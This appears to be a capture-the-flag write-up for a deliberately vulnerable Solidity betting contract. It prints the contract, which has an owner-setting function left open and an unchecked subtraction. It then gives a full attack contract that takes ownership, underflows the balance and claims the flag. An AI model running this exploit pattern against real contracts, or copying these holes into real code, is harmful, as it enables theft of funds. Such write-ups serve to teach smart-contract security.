08.integer-overflow @bet
2023-07-13 16:28:02 # 02.ChainflagCTF

integer-overflow(bet)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pragma solidity ^0.4.24;

contract bet {
uint secret;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;

event SendFlag(string b64email);

function Bet() public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier only_owner() {
require(msg.sender == owner);
_;
}

function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}

function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}

function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}

}

analyses

underflow & secret can be seen and controlled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
interface Ibet {
function balanceOf(address) external returns(uint);
function Bet() external;
function payforflag(string) external;
function setsecret(uint) external;
function profit() external;
function betgame(uint)external;
function doublebetgame(uint) external;
}

contract betAttack{
Ibet public _bet;

constructor(address _addr) public{
_bet = Ibet(_addr);
}

function solve() public{
_bet.Bet(); //be the owner
_bet.profit(); //get 1 ether to play game
_bet.betgame(0); // the secret is '0', if we guess right, we will make isbet() return 1, than we can call doublebetgame
_bet.betgame(1); // guess for a wrong number, it will minus 1 of our balance: now our balance is 2 - 1 = 1
// wrong guess, which will minus us 2 ether, it will cause an underflow: 1 - 2 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
// attention, dont put in the correct number, bacause it will add 2 after underflow which makes our balance back to 1
_bet.doublebetgame(1);
_bet.payforflag("successfully");
}

function getBalance() public view returns(uint256){
uint256 balance = _bet.balanceOf(address(this));
return balance;
}

function() external payable {} // attention!!!! solve() will revert without this!!!

}

solve